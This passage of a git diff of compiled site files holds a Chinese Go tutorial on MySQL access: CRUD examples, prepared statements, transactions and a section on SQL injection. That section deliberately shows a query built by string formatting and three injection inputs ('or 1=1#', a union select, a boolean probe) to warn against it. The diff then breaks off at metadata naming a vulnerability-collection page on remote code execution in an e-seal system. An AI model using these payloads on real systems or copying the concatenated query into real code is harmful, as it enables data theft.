error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"Exec\u6267\u884c\u4e00\u6b21\u547d\u4ee4\uff08\u5305\u62ec\u67e5\u8be2\u3001\u5220\u9664\u3001\u66f4\u65b0\u3001\u63d2\u5165\u7b49\uff09\uff0c\u8fd4\u56de\u7684Result\u662f\u5bf9\u5df2\u6267\u884c\u7684SQL\u547d\u4ee4\u7684\u603b\u7ed3\u3002\u53c2\u6570args\u8868\u793aquery\u4e2d\u7684\u5360\u4f4d\u53c2\u6570\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u63d2\u5165\u6570\u636e\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u63d2\u5165\u6570\u636e\nfunc insertRowDemo() {\n\tsqlStr := "insert into user(name, age) values (?,?)"\n\tret, err := db.Exec(sqlStr, "\u738b\u4e94", 38)\n\tif err != nil {\n\t\tfmt.Printf("insert failed, err:%v\\n", err)\n\t\treturn\n\t}\n\ttheID, err := ret.LastInsertId() // \u65b0\u63d2\u5165\u6570\u636e\u7684id\n\tif err != nil {\n\t\tfmt.Printf("get lastinsert ID failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("insert success, the id is %d.\\n", theID)\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u66f4\u65b0\u6570\u636e",children:"\u66f4\u65b0\u6570\u636e"}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u66f4\u65b0\u6570\u636e\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u66f4\u65b0\u6570\u636e\nfunc updateRowDemo() {\n\tsqlStr := "update user set age=? where id = ?"\n\tret, err := db.Exec(sqlStr, 39, 3)\n\tif err != nil {\n\t\tfmt.Printf("update failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tn, err := ret.RowsAffected() // \u64cd\u4f5c\u5f71\u54cd\u7684\u884c\u6570\n\tif err != nil {\n\t\tfmt.Printf("get RowsAffected failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("update success, affected rows:%d\\n", n)\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u5220\u9664\u6570\u636e",children:"\u5220\u9664\u6570\u636e"}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u5220\u9664\u6570\u636e\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u5220\u9664\u6570\u636e\nfunc deleteRowDemo() {\n\tsqlStr := "delete from user where id = ?"\n\tret, err := db.Exec(sqlStr, 3)\n\tif err != nil {\n\t\tfmt.Printf("delete failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tn, err := ret.RowsAffected() // \u64cd\u4f5c\u5f71\u54cd\u7684\u884c\u6570\n\tif err != nil {\n\t\tfmt.Printf("get RowsAffected failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("delete success, affected rows:%d\\n", n)\n}\n'})}),"\n",(0,s.jsx)(n.h2,{id:"mysql\u9884\u5904\u7406",children:"MySQL\u9884\u5904\u7406"}),"\n",(0,s.jsx)(n.h3,{id:"\u4ec0\u4e48\u662f\u9884\u5904\u7406",children:"\u4ec0\u4e48\u662f\u9884\u5904\u7406\uff1f"}),"\n",(0,s.jsx)(n.p,{children:"\u666e\u901aSQL\u8bed\u53e5\u6267\u884c\u8fc7\u7a0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u5ba2\u6237\u7aef\u5bf9SQL\u8bed\u53e5\u8fdb\u884c\u5360\u4f4d\u7b26\u66ff\u6362\u5f97\u5230\u5b8c\u6574\u7684SQL\u8bed\u53e5\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u5ba2\u6237\u7aef\u53d1\u9001\u5b8c\u6574SQL\u8bed\u53e5\u5230MySQL\u670d\u52a1\u7aef"}),"\n",(0,s.jsx)(n.li,{children:"MySQL\u670d\u52a1\u7aef\u6267\u884c\u5b8c\u6574\u7684SQL\u8bed\u53e5\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u9884\u5904\u7406\u6267\u884c\u8fc7\u7a0b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u628aSQL\u8bed\u53e5\u5206\u6210\u4e24\u90e8\u5206\uff0c\u547d\u4ee4\u90e8\u5206\u4e0e\u6570\u636e\u90e8\u5206\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u5148\u628a\u547d\u4ee4\u90e8\u5206\u53d1\u9001\u7ed9MySQL\u670d\u52a1\u7aef\uff0cMySQL\u670d\u52a1\u7aef\u8fdb\u884cSQL\u9884\u5904\u7406\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u7136\u540e\u628a\u6570\u636e\u90e8\u5206\u53d1\u9001\u7ed9MySQL\u670d\u52a1\u7aef\uff0cMySQL\u670d\u52a1\u7aef\u5bf9SQL\u8bed\u53e5\u8fdb\u884c\u5360\u4f4d\u7b26\u66ff\u6362\u3002"}),"\n",(0,s.jsx)(n.li,{children:"MySQL\u670d\u52a1\u7aef\u6267\u884c\u5b8c\u6574\u7684SQL\u8bed\u53e5\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406",children:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406\uff1f"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u4f18\u5316MySQL\u670d\u52a1\u5668\u91cd\u590d\u6267\u884cSQL\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u63d0\u5347\u670d\u52a1\u5668\u6027\u80fd\uff0c\u63d0\u524d\u8ba9\u670d\u52a1\u5668\u7f16\u8bd1\uff0c\u4e00\u6b21\u7f16\u8bd1\u591a\u6b21\u6267\u884c\uff0c\u8282\u7701\u540e\u7eed\u7f16\u8bd1\u7684\u6210\u672c\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u907f\u514dSQL\u6ce8\u5165\u95ee\u9898\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"go\u5b9e\u73b0mysql\u9884\u5904\u7406",children:"Go\u5b9e\u73b0MySQL\u9884\u5904\u7406"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"database/sql"}),"\u4e2d\u4f7f\u7528\u4e0b\u9762\u7684",(0,s.jsx)(n.code,{children:"Prepare"}),"\u65b9\u6cd5\u6765\u5b9e\u73b0\u9884\u5904\u7406\u64cd\u4f5c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Prepare(query string) (*Stmt, error)\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"Prepare"}),"\u65b9\u6cd5\u4f1a\u5148\u5c06sql\u8bed\u53e5\u53d1\u9001\u7ed9MySQL\u670d\u52a1\u7aef\uff0c\u8fd4\u56de\u4e00\u4e2a\u51c6\u5907\u597d\u7684\u72b6\u6001\u7528\u4e8e\u4e4b\u540e\u7684\u67e5\u8be2\u548c\u547d\u4ee4\u3002\u8fd4\u56de\u503c\u53ef\u4ee5\u540c\u65f6\u6267\u884c\u591a\u4e2a\u67e5\u8be2\u548c\u547d\u4ee4\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u67e5\u8be2\u64cd\u4f5c\u7684\u9884\u5904\u7406\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u9884\u5904\u7406\u67e5\u8be2\u793a\u4f8b\nfunc prepareQueryDemo() {\n\tsqlStr := "select id, name, age from user where id > ?"\n\tstmt, err := db.Prepare(sqlStr)\n\tif err != nil {\n\t\tfmt.Printf("prepare failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer stmt.Close()\n\trows, err := stmt.Query(0)\n\tif err != nil {\n\t\tfmt.Printf("query failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\t// \u5faa\u73af\u8bfb\u53d6\u7ed3\u679c\u96c6\u4e2d\u7684\u6570\u636e\n\tfor rows.Next() {\n\t\tvar u user\n\t\terr := rows.Scan(&u.id, &u.name, &u.age)\n\t\tif err != nil {\n\t\t\tfmt.Printf("scan failed, err:%v\\n", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Printf("id:%d name:%s age:%d\\n", u.id, u.name, u.age)\n\t}\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u63d2\u5165\u3001\u66f4\u65b0\u548c\u5220\u9664\u64cd\u4f5c\u7684\u9884\u5904\u7406\u5341\u5206\u7c7b\u4f3c\uff0c\u8fd9\u91cc\u4ee5\u63d2\u5165\u64cd\u4f5c\u7684\u9884\u5904\u7406\u4e3a\u4f8b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u9884\u5904\u7406\u63d2\u5165\u793a\u4f8b\nfunc prepareInsertDemo() {\n\tsqlStr := "insert into user(name, age) values (?,?)"\n\tstmt, err := db.Prepare(sqlStr)\n\tif err != nil {\n\t\tfmt.Printf("prepare failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer stmt.Close()\n\t_, err = stmt.Exec("\u5c0f\u738b\u5b50", 18)\n\tif err != nil {\n\t\tfmt.Printf("insert failed, err:%v\\n", err)\n\t\treturn\n\t}\n\t_, err = stmt.Exec("\u6c99\u6cb3\u5a1c\u624e", 18)\n\tif err != nil {\n\t\tfmt.Printf("insert failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println("insert success.")\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"sql\u6ce8\u5165\u95ee\u9898",children:"SQL\u6ce8\u5165\u95ee\u9898"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u6211\u4eec\u4efb\u4f55\u65f6\u5019\u90fd\u4e0d\u5e94\u8be5\u81ea\u5df1\u62fc\u63a5SQL\u8bed\u53e5\uff01"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u6f14\u793a\u4e00\u4e2a\u81ea\u884c\u62fc\u63a5SQL\u8bed\u53e5\u7684\u793a\u4f8b\uff0c\u7f16\u5199\u4e00\u4e2a\u6839\u636ename\u5b57\u6bb5\u67e5\u8be2user\u8868\u7684\u51fd\u6570\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// sql\u6ce8\u5165\u793a\u4f8b\nfunc sqlInjectDemo(name string) {\n\tsqlStr := fmt.Sprintf("select id, name, age from user where name=\'%s\'", name)\n\tfmt.Printf("SQL:%s\\n", sqlStr)\n\tvar u user\n\terr := db.QueryRow(sqlStr).Scan(&u.id, &u.name, &u.age)\n\tif err != nil {\n\t\tfmt.Printf("exec failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("user:%#v\\n", u)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u6b64\u65f6\u4ee5\u4e0b\u8f93\u5165\u5b57\u7b26\u4e32\u90fd\u53ef\u4ee5\u5f15\u53d1SQL\u6ce8\u5165\u95ee\u9898\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'sqlInjectDemo("xxx\' or 1=1#")\nsqlInjectDemo("xxx\' union select * from user #")\nsqlInjectDemo("xxx\' and (select count(*) from user) <10 #")\n'})}),"\n",(0,s.jsx)(n.p,{children:"**\u8865\u5145\uff1a**\u4e0d\u540c\u7684\u6570\u636e\u5e93\u4e2d\uff0cSQL\u8bed\u53e5\u4f7f\u7528\u7684\u5360\u4f4d\u7b26\u8bed\u6cd5\u4e0d\u5c3d\u76f8\u540c\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u6570\u636e\u5e93"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26\u8bed\u6cd5"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"MySQL"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"?"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"PostgreSQL"}),(0,s.jsxs)(n.td,{style:{textAlign:"center"},children:[(0,s.jsx)(n.code,{children:"$1"}),", ",(0,s.jsx)(n.code,{children:"$2"}),"\u7b49"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"SQLite"}),(0,s.jsxs)(n.td,{style:{textAlign:"center"},children:[(0,s.jsx)(n.code,{children:"?"})," \u548c",(0,s.jsx)(n.code,{children:"$1"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"Oracle"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:":name"})})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"go\u5b9e\u73b0mysql\u4e8b\u52a1",children:"Go\u5b9e\u73b0MySQL\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.h3,{id:"\u4ec0\u4e48\u662f\u4e8b\u52a1",children:"\u4ec0\u4e48\u662f\u4e8b\u52a1\uff1f"}),"\n",(0,s.jsx)(n.p,{children:"\u4e8b\u52a1\uff1a\u4e00\u4e2a\u6700\u5c0f\u7684\u4e0d\u53ef\u518d\u5206\u7684\u5de5\u4f5c\u5355\u5143\uff1b\u901a\u5e38\u4e00\u4e2a\u4e8b\u52a1\u5bf9\u5e94\u4e00\u4e2a\u5b8c\u6574\u7684\u4e1a\u52a1(\u4f8b\u5982\u94f6\u884c\u8d26\u6237\u8f6c\u8d26\u4e1a\u52a1\uff0c\u8be5\u4e1a\u52a1\u5c31\u662f\u4e00\u4e2a\u6700\u5c0f\u7684\u5de5\u4f5c\u5355\u5143)\uff0c\u540c\u65f6\u8fd9\u4e2a\u5b8c\u6574\u7684\u4e1a\u52a1\u9700\u8981\u6267\u884c\u591a\u6b21\u7684DML(insert\u3001update\u3001delete)\u8bed\u53e5\u5171\u540c\u8054\u5408\u5b8c\u6210\u3002A\u8f6c\u8d26\u7ed9B\uff0c\u8fd9\u91cc\u9762\u5c31\u9700\u8981\u6267\u884c\u4e24\u6b21update\u64cd\u4f5c\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728MySQL\u4e2d\u53ea\u6709\u4f7f\u7528\u4e86",(0,s.jsx)(n.code,{children:"Innodb"}),"\u6570\u636e\u5e93\u5f15\u64ce\u7684\u6570\u636e\u5e93\u6216\u8868\u624d\u652f\u6301\u4e8b\u52a1\u3002\u4e8b\u52a1\u5904\u7406\u53ef\u4ee5\u7528\u6765\u7ef4\u62a4\u6570\u636e\u5e93\u7684\u5b8c\u6574\u6027\uff0c\u4fdd\u8bc1\u6210\u6279\u7684SQL\u8bed\u53e5\u8981\u4e48\u5168\u90e8\u6267\u884c\uff0c\u8981\u4e48\u5168\u90e8\u4e0d\u6267\u884c\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e8b\u52a1\u7684acid",children:"\u4e8b\u52a1\u7684ACID"}),"\n",(0,s.jsx)(n.p,{children:"\u901a\u5e38\u4e8b\u52a1\u5fc5\u987b\u6ee1\u8db34\u4e2a\u6761\u4ef6\uff08ACID\uff09\uff1a\u539f\u5b50\u6027\uff08Atomicity\uff0c\u6216\u79f0\u4e0d\u53ef\u5206\u5272\u6027\uff09\u3001\u4e00\u81f4\u6027\uff08Consistency\uff09\u3001\u9694\u79bb\u6027\uff08Isolation\uff0c\u53c8\u79f0\u72ec\u7acb\u6027\uff09\u3001\u6301\u4e45\u6027\uff08Durability\uff09\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u6761\u4ef6"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u89e3\u91ca"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u539f\u5b50\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u4e00\u4e2a\u4e8b\u52a1\uff08transaction\uff09\u4e2d\u7684\u6240\u6709\u64cd\u4f5c\uff0c\u8981\u4e48\u5168\u90e8\u5b8c\u6210\uff0c\u8981\u4e48\u5168\u90e8\u4e0d\u5b8c\u6210\uff0c\u4e0d\u4f1a\u7ed3\u675f\u5728\u4e2d\u95f4\u67d0\u4e2a\u73af\u8282\u3002\u4e8b\u52a1\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u9519\u8bef\uff0c\u4f1a\u88ab\u56de\u6eda\uff08Rollback\uff09\u5230\u4e8b\u52a1\u5f00\u59cb\u524d\u7684\u72b6\u6001\uff0c\u5c31\u50cf\u8fd9\u4e2a\u4e8b\u52a1\u4ece\u6765\u6ca1\u6709\u6267\u884c\u8fc7\u4e00\u6837\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u4e00\u81f4\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u5728\u4e8b\u52a1\u5f00\u59cb\u4e4b\u524d\u548c\u4e8b\u52a1\u7ed3\u675f\u4ee5\u540e\uff0c\u6570\u636e\u5e93\u7684\u5b8c\u6574\u6027\u6ca1\u6709\u88ab\u7834\u574f\u3002\u8fd9\u8868\u793a\u5199\u5165\u7684\u8d44\u6599\u5fc5\u987b\u5b8c\u5168\u7b26\u5408\u6240\u6709\u7684\u9884\u8bbe\u89c4\u5219\uff0c\u8fd9\u5305\u542b\u8d44\u6599\u7684\u7cbe\u786e\u5ea6\u3001\u4e32\u8054\u6027\u4ee5\u53ca\u540e\u7eed\u6570\u636e\u5e93\u53ef\u4ee5\u81ea\u53d1\u6027\u5730\u5b8c\u6210\u9884\u5b9a\u7684\u5de5\u4f5c\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u9694\u79bb\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6570\u636e\u5e93\u5141\u8bb8\u591a\u4e2a\u5e76\u53d1\u4e8b\u52a1\u540c\u65f6\u5bf9\u5176\u6570\u636e\u8fdb\u884c\u8bfb\u5199\u548c\u4fee\u6539\u7684\u80fd\u529b\uff0c\u9694\u79bb\u6027\u53ef\u4ee5\u9632\u6b62\u591a\u4e2a\u4e8b\u52a1\u5e76\u53d1\u6267\u884c\u65f6\u7531\u4e8e\u4ea4\u53c9\u6267\u884c\u800c\u5bfc\u81f4\u6570\u636e\u7684\u4e0d\u4e00\u81f4\u3002\u4e8b\u52a1\u9694\u79bb\u5206\u4e3a\u4e0d\u540c\u7ea7\u522b\uff0c\u5305\u62ec\u8bfb\u672a\u63d0\u4ea4\uff08Read uncommitted\uff09\u3001\u8bfb\u63d0\u4ea4\uff08read committed\uff09\u3001\u53ef\u91cd\u590d\u8bfb\uff08repeatable read\uff09\u548c\u4e32\u884c\u5316\uff08Serializable\uff09\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6301\u4e45\u6027"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u4e8b\u52a1\u5904\u7406\u7ed3\u675f\u540e\uff0c\u5bf9\u6570\u636e\u7684\u4fee\u6539\u5c31\u662f\u6c38\u4e45\u7684\uff0c\u5373\u4fbf\u7cfb\u7edf\u6545\u969c\u4e5f\u4e0d\u4f1a\u4e22\u5931\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5",children:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5"}),"\n",(0,s.jsx)(n.p,{children:"Go\u8bed\u8a00\u4e2d\u4f7f\u7528\u4ee5\u4e0b\u4e09\u4e2a\u65b9\u6cd5\u5b9e\u73b0MySQL\u4e2d\u7684\u4e8b\u52a1\u64cd\u4f5c\u3002 \u5f00\u59cb\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Begin() (*Tx, error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u63d0\u4ea4\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (tx *Tx) Commit() error\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u56de\u6eda\u4e8b\u52a1"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (tx *Tx) Rollback() error\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u4e8b\u52a1\u793a\u4f8b",children:"\u4e8b\u52a1\u793a\u4f8b"}),"\n",(0,s.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e86\u4e00\u4e2a\u7b80\u5355\u7684\u4e8b\u52a1\u64cd\u4f5c\uff0c\u8be5\u4e8b\u7269\u64cd\u4f5c\u80fd\u591f\u786e\u4fdd\u4e24\u6b21\u66f4\u65b0\u64cd\u4f5c\u8981\u4e48\u540c\u65f6\u6210\u529f\u8981\u4e48\u540c\u65f6\u5931\u8d25\uff0c\u4e0d\u4f1a\u5b58\u5728\u4e2d\u95f4\u72b6\u6001\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u4e8b\u52a1\u64cd\u4f5c\u793a\u4f8b\nfunc transactionDemo() {\n\ttx, err := db.Begin() // \u5f00\u542f\u4e8b\u52a1\n\tif err != nil {\n\t\tif tx != nil {\n\t\t\ttx.Rollback() // \u56de\u6eda\n\t\t}\n\t\tfmt.Printf("begin trans failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tsqlStr1 := "Update user set age=30 where id=?"\n\tret1, err := tx.Exec(sqlStr1, 2)\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec sql1 failed, err:%v\\n", err)\n\t\treturn\n\t}\n\taffRow1, err := ret1.RowsAffected()\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec ret1.RowsAffected() failed, err:%v\\n", err)\n\t\treturn\n\t}\n\n\tsqlStr2 := "Update user set age=40 where id=?"\n\tret2, err := tx.Exec(sqlStr2, 3)\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec sql2 failed, err:%v\\n", err)\n\t\treturn\n\t}\n\taffRow2, err := ret2.RowsAffected()\n\tif err != nil {\n\t\ttx.Rollback() // \u56de\u6eda\n\t\tfmt.Printf("exec ret1.RowsAffected() failed, err:%v\\n", err)\n\t\treturn\n\t}\n\n\tfmt.Println(affRow1, affRow2)\n\tif affRow1 == 1 && affRow2 == 1 {\n\t\tfmt.Println("\u4e8b\u52a1\u63d0\u4ea4\u5566...")\n\t\ttx.Commit() // \u63d0\u4ea4\u4e8b\u52a1\n\t} else {\n\t\ttx.Rollback()\n\t\tfmt.Println("\u4e8b\u52a1\u56de\u6eda\u5566...")\n\t}\n\n\tfmt.Println("exec trans success!")\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.a,{href:"https://www.liwenzhou.com/posts/Go/sqlx/",children:"\u66f4\u5f3a\u5927\u3001\u66f4\u597d\u7528\u7684sqlx\u5e93"})})]})}function x(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(o,{...e})}):o(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var t=r(96540);const s={},l=t.createContext(s);function i(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),t.createElement(l.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/6271cc5c.1893d3b0.js b/en/assets/js/6271cc5c.1893d3b0.js new file mode 100644 index 0000000..7c32ba5 --- /dev/null +++ b/en/assets/js/6271cc5c.1893d3b0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1949],{28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>l});var s=n(96540);const r={},o=s.createContext(r);function i(t){const e=s.useContext(o);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:i(t.components),s.createElement(o.Provider,{value:e},t.children)}},31109:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>u,frontMatter:()=>i,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","title":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/02.\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/02.\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/02.\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0"},"next":{"title":"AI","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/"}}');var r=n(74848),o=n(28453);const i={},l=void 0,c={},a=[];function d(t){const 